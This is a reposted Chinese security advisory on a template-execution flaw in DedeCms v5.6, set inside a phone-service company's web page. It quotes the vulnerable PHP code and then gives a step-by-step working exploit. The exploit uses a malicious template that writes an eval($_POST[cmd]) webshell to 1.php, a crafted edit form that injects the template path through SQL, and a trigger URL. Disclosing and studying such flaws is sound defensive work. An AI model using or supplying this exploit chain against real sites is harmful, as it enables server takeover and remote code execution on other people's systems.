• 全国400电话网上服务平台
    强大号码库资源任选,方便,快捷,快速开通。
    咨询热线:400-1100-266  

    DedeCms/织梦cms模板执行漏洞(影响版本v5.6)
    POST TIME:2017-11-13 00:50
    影响版本:
    DEDECMS v5.6 Final

    程序介绍:
    DedeCms 基于PHP+MySQL的技术开发,支持Windows、Linux、Unix等多种服务器平台,从2004年开始发布第一个版本开始,至今已经发布了五个大版本。DedeCms以简单、健壮、灵活、开源几大特点占领了国内CMS的大部份市场,目前已经有超过二十万个站点正在使用DedeCms或居于DedeCms核心,是目前国内应用最广泛的php类CMS系统。

    漏洞分析:

    Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上传上去,然后通过SQL注入修改附加表的模板路径为我们上传的模板路径,模板解析类:include/inc_archives_view.php没有对模板路径及名称做任何限制,则可以成功执行恶意代码。

    1、member/article_edit.php文件(注入):
    //漏洞在member文件夹下普遍存在,$dede_addonfields是由用户提交的,可以被伪造,伪造成功即可带入sql语句,于是我们可以给附加表的内容进行update赋值。
    PHP Code复制内容到剪贴板
    1. //分析处理附加表数据
    2. $inadd_f='';
    3. if(!emptyempty($dede_addonfields))//自己构造$dede_addonfields
    4. {
    5. $addonfields=explode(';',$dede_addonfields);
    6. if(is_array($addonfields))
    7. {
    8. print_r($addonfields);
    9. foreach($addonfieldsas$v)
    10. {
    11. if($v=='')
    12. {
    13. continue;
    14. }
    15. $vs=explode(',',$v);
    16. if(!isset(${$vs[0]}))
    17. {
    18. ${$vs[0]}='';
    19. }
    20. ${$vs[0]}=GetFieldValueA(${$vs[0]},$vs[1],$aid);
    21. $inadd_f.=','.$vs[0]."='".${$vs[0]}."'";
    22. echo$inadd_f;
    23. }
    24. }
    25. }
    26. if($addtable!='')
    27. {
    28. $upQuery="Update`$addtable`settypeid='$typeid',body='$body'{$inadd_f},userip='$userip'whereaid='$aid'";//执行构造的sql
    29. if(!$dsql->ExecuteNoneQuery($upQuery))
    30. {
    31. ShowMsg("更新附加表`$addtable`时出错,请联系管理员!","javascript:;");
    32. exit();
    33. }
    34. }
    2、include/inc_archives_view.php:
    //这是模板处理类,如果附加表的模板路径存在,直接从附加表取值;GetTempletFile获取模板文件的方法就是取的此处的模板路径,从来带进去解析。
    PHP Code复制内容到剪贴板
    1. //issystem==-1表示单表模型,单表模型不支持redirecturl这类参数,因此限定内容普通模型才进行下面查询
    2. if($this->ChannelUnit->ChannelInfos['addtable']!=''&&$this->ChannelUnit->ChannelInfos['issystem']!=-1)
    3. {
    4. if(is_array($this->addTableRow))
    5. {
    6. $this->Fields['redirecturl']=$this->addTableRow['redirecturl'];
    7. $this->Fields['templet']=$this->addTableRow['templet'];//取值
    8. $this->Fields['userip']=$this->addTableRow['userip'];
    9. }
    10. $this->Fields['templet']=(emptyempty($this->Fields['templet'])?'':trim($this->Fields['templet']));
    11. $this->Fields['redirecturl']=(emptyempty($this->Fields['redirecturl'])?'':trim($this->Fields['redirecturl']));
    12. $this->Fields['userip']=(emptyempty($this->Fields['userip'])?'':trim($this->Fields['userip']));
    13. }
    14. else
    15. {
    16. $this->Fields['templet']=$this->Fields['redirecturl']='';
    17. }
    18. //获得模板文件位置
    19. functionGetTempletFile()
    20. {
    21. global$cfg_basedir,$cfg_templets_dir,$cfg_df_style;
    22. $cid=$this->ChannelUnit->ChannelInfos['nid'];
    23. if(!emptyempty($this->Fields['templet']))
    24. {
    25. $filetag=MfTemplet($this->Fields['templet']);
    26. if(!ereg('/',$filetag))$filetag=$GLOBALS['cfg_df_style'].'/'.$filetag;
    27. }
    28. else
    29. {
    30. $filetag=MfTemplet($this->TypeLink->TypeInfos["temparticle"]);
    31. }
    32. $tid=$this->Fields['typeid'];
    33. $filetag=str_replace('{cid}',$cid,$filetag);
    34. $filetag=str_replace('{tid}',$tid,$filetag);
    35. $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
    36. if($cid=='spec')
    37. {
    38. if(!emptyempty($this->Fields['templet']))
    39. {
    40. $tmpfile=$cfg_basedir.$cfg_templets_dir.'/'.$filetag;
    41. }
    42. else
    43. {
    44. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";
    45. }
    46. }
    47. if(!file_exists($tmpfile))
    48. {
    49. $tmpfile=$cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec'?'article_spec.htm':'article_default.htm');
    50. }
    51. return$tmpfile;
    52. }
    漏洞利用:

    1.上传一个模板文件:

    注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
    uploads/userup/2/12OMX04-15A.jpg

    模板内容是(如果限制图片格式,加gif89a):
    {dede:name runphp='yes'}
    $fp = @fopen("1.php", 'a');
    @fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
    @fclose($fp);
    {/dede:name}

    2.修改刚刚发表的文章,查看源文件,构造一个表单:
    XML/HTML Code复制内容到剪贴板
    1. <formclass="mTB10mL10mR10"name="addcontent"id="addcontent"action="http://127.0.0.1/dede/member/article_edit.php"method="post"enctype="multipart/form-data"onsubmit="returncheckSubmit();">
    2. <inputtype="hidden"name="dopost"value="save"/>
    3. <inputtype="hidden"name="aid"value="2"/>
    4. <inputtype="hidden"name="idhash"value="f5f682c8d76f74e810f268fbc97ddf86"/>
    5. <inputtype="hidden"name="channelid"value="1"/>
    6. <inputtype="hidden"name="oldlitpic"value=""/>
    7. <inputtype="hidden"name="sortrank"value="1275972263"/>
    8. <divid="mainCp">
    9. <h3class="meTitle"><strong>修改文章</strong></h3>
    10. <divclass="postForm">
    11. <label>标题:</label>
    12. <inputname="title"type="text"id="title"value="11233ewsad"maxlength="100"class="intxt"/>
    13. <label>标签TAG:</label>
    14. <inputname="tags"type="text"id="tags"value="hahah,test"maxlength="100"class="intxt"/>(用逗号分开)
    15. <label>作者:</label>
    16. <inputtype="text"name="writer"id="writer"value="test"maxlength="100"class="intxt"style="width:219px"/>
    17. <label>隶属栏目:</label>
    18. <selectname='typeid'size='1'>
    19. <optionvalue='1'class='option3'selected=''>测试栏目</option>
    20. </select><spanstyle="color:#F00">*</span>(不能选择带颜色的分类)
    21. <label>我的分类:</label>
    22. <selectname='mtypesid'size='1'>
    23. <optionvalue='0'selected>请选择分类...</option>
    24. <optionvalue='1'class='option3'selected>hahahha</option>
    25. </select>
    26. <label>信息摘要:</label>
    27. <textareaname="description"id="description">1111111</textarea>
    28. (内容的简要说明)
    29. <label>缩略图:</label>
    30. <inputname="litpic"type="file"id="litpic"onchange="SeePicNew('divpicview',this);"maxlength="100"class="intxt"/>
    31. <inputtype='text'name='templet'
    32. value="../uploads/userup/2/12OMX04-15A.jpg">
    33. <inputtype='text'name='dede_addonfields'
    34. value="templet,htmltext;">(这里构造)
    35. </div>
    36. <!--表单操作区域-->
    37. <h3class="meTitle">详细内容</h3>
    38. <divclass="contentShowpostForm">
    39. <inputtype="hidden"id="body"name="body"value="<div><ahref="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"target="_blank"><imgborder="0"alt=""src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg"width="1010"height="456"/></a></div><p><?phpinfo()?>1111111</p>"style="display:none"/><inputtype="hidden"id="body___Config"value="FullPage=false"style="display:none"/><iframeid="body___Frame"src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member"width="100%"height="350"frameborder="0"scrolling="no"></iframe>
    40. <label>验证码:</label>
    41. <inputname="vdcode"type="text"id="vdcode"maxlength="100"class="intxt"style='width:50px;text-transform:uppercase;'/>
    42. <imgsrc="http://127.0.0.1/dede/include/vdimgck.php"alt="看不清?点击更换"align="absmiddle"style="cursor:pointer"onclick="this.src=this.src+'?'"/>
    43. <buttonclass="button2"type="submit">提交</button>
    44. <buttonclass="button2ml10"type="reset"onclick="location.reload();">重置</button>
    45. </div>
    46. </div>
    47. </form>
    提交,提示修改成功,则我们已经成功修改模板路径。

    3.访问修改的文章:

    假设刚刚修改的文章的aid为2,则我们只需要访问:
    http://127.0.0.1/dede/plus/view.php?aid=2
    即可以在plus目录下生成小马:1.php

    解决方案:
    厂商补丁:
    DEDECMS
    ------------
    目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
    http://www.dedecms.com/

    信息来源: oldjun's Blog

    
    Copyright © 2003-2016
    时间:9:00-21:00 (节假日不休)
    版权所有:巨人网络(扬州)科技有限公司
    总部地址:江苏省信息产业基地11号楼四层
    《增值电信业务经营许可证》 苏B2-20120278
    X

    截屏,微信识别二维码

    微信号:veteran88

    (点击微信号复制,添加好友)

     打开微信

    微信号已复制,请打开微信添加咨询详情!